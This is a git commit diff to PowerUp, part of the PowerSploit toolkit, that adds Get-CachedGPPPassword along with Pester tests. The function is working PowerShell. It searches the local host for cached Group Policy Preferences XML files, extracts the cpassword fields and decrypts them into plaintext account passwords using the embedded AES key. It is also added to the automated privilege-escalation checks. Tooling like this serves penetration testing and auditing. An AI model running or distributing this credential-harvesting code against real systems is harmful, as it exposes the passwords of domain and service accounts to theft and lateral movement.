Addded Get-CachedGPPPassword to PowerUp, based almost entirely on Get-GPPPassword.
Added Pester tests for Get-CachedGPPPassword.
This commit is contained in:
parent
f6ee5cb92e
commit
5f8d8b0a10
|
|
@ -3502,6 +3502,206 @@ function Get-SiteListPassword {
|
|||
}
|
||||
|
||||
|
||||
function Get-CachedGPPPassword {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.
|
||||
|
||||
PowerSploit Function: Get-CachedGPPPassword
|
||||
Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-CachedGPPPassword
|
||||
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2013-04-25 18:36:07}
|
||||
Passwords : {Super!!!Password}
|
||||
UserNames : {SuperSecretBackdoor}
|
||||
File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
|
||||
C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
|
||||
oups.xml
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param()
|
||||
|
||||
# Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
# make sure the appropriate assemblies are loaded
|
||||
Add-Type -Assembly System.Security
|
||||
Add-Type -Assembly System.Core
|
||||
|
||||
# helper that decodes and decrypts password
|
||||
function local:Get-DecryptedCpassword {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
# Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
|
||||
switch ($Mod) {
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
# Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
# Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
# helper that parses fields from the found xml preference files
|
||||
function local:Get-GPPInnerFields {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try {
|
||||
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[XML] $Xml = Get-Content ($File)
|
||||
|
||||
$Cpassword = @()
|
||||
$UserName = @()
|
||||
$NewName = @()
|
||||
$Changed = @()
|
||||
$Password = @()
|
||||
|
||||
# check for password field
|
||||
if ($Xml.innerxml -like "*cpassword*"){
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
|
||||
switch ($Filename) {
|
||||
'Groups.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Services.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Scheduledtasks.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'DataSources.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Printers.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Drives.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($Pass in $Cpassword) {
|
||||
Write-Verbose "Decrypting $Pass"
|
||||
$DecryptedPassword = Get-DecryptedCpassword $Pass
|
||||
Write-Verbose "Decrypted a password of $DecryptedPassword"
|
||||
#append any new passwords to array
|
||||
$Password += , $DecryptedPassword
|
||||
}
|
||||
|
||||
# put [BLANK] in variables
|
||||
if (-not $Password) {$Password = '[BLANK]'}
|
||||
if (-not $UserName) {$UserName = '[BLANK]'}
|
||||
if (-not $Changed) {$Changed = '[BLANK]'}
|
||||
if (-not $NewName) {$NewName = '[BLANK]'}
|
||||
|
||||
# Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'Changed' = $Changed;
|
||||
'NewName' = $NewName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject) {Return $ResultsObject}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
try {
|
||||
$AllUsers = $Env:ALLUSERSPROFILE
|
||||
|
||||
if($AllUsers -notmatch 'ProgramData') {
|
||||
$AllUsers = "$AllUsers\Application Data"
|
||||
}
|
||||
|
||||
# discover any locally cached GPP .xml files
|
||||
$XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
|
||||
|
||||
if ( -not $XMlFiles ) { throw 'No preference files found.' }
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
ForEach ($File in $XMLFiles) {
|
||||
Get-GppInnerFields $File.Fullname
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
|
||||
function Write-UserAddMSI {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
|
@ -3716,6 +3916,14 @@ function Invoke-AllChecks {
|
|||
}
|
||||
"`n"
|
||||
|
||||
"`n`n[*] Checking for cached Group Policy Preferences .xml files...."
|
||||
$Results = Get-CachedGPPPassword | Where-Object {$_}
|
||||
$Results | Format-List
|
||||
if($HTMLReport) {
|
||||
$Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
|
||||
}
|
||||
"`n"
|
||||
|
||||
if($HTMLReport) {
|
||||
"[*] Report written to '$HtmlReportFile' `n"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1196,6 +1196,32 @@ Describe 'Get-SiteListPassword' {
|
|||
}
|
||||
|
||||
|
||||
Describe 'Get-CachedGPPPassword' {
|
||||
|
||||
if(-not $(Test-IsAdmin)) {
|
||||
Throw "'Get-CachedGPPPassword' Pester test needs local administrator privileges."
|
||||
}
|
||||
|
||||
# all referenced GPP .xml sources from https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/rex/parser/group_policy_preferences_spec.rb
|
||||
It 'Should throw if no files are found.' {
|
||||
Get-CachedGPPPassword | Should Throw
|
||||
}
|
||||
|
||||
It 'Should correctly find and parse a cached Groups.xml file.' {
|
||||
$Path = "${Env:ALLUSERSPROFILE}\Microsoft\Group Policy\History\{23C4E89F-7D3A-4237-A61D-8EF82B5B9E42}\Machine\Preferences\Groups\Groups.xml"
|
||||
$Null = New-Item -ItemType File -Path $Path -Force
|
||||
$GroupsXml = '<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}"><Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/></User></Groups>'
|
||||
$GroupsXml | Out-File -FilePath $Path -Force
|
||||
|
||||
$GPPResult = Get-CachedGPPPassword
|
||||
Remove-Item -Force $Path
|
||||
|
||||
$GPPResult.Passwords[0] | Should be 'Super!!!Password'
|
||||
$GPPResult.UserNames[0] | Should be 'SuperSecretBackdoor'
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Invoke-AllChecks' {
|
||||
It 'Should return results to stdout.' {
|
||||
$Output = Invoke-AllChecks
|
||||
|
|
|
|||
Loading…
Reference in New Issue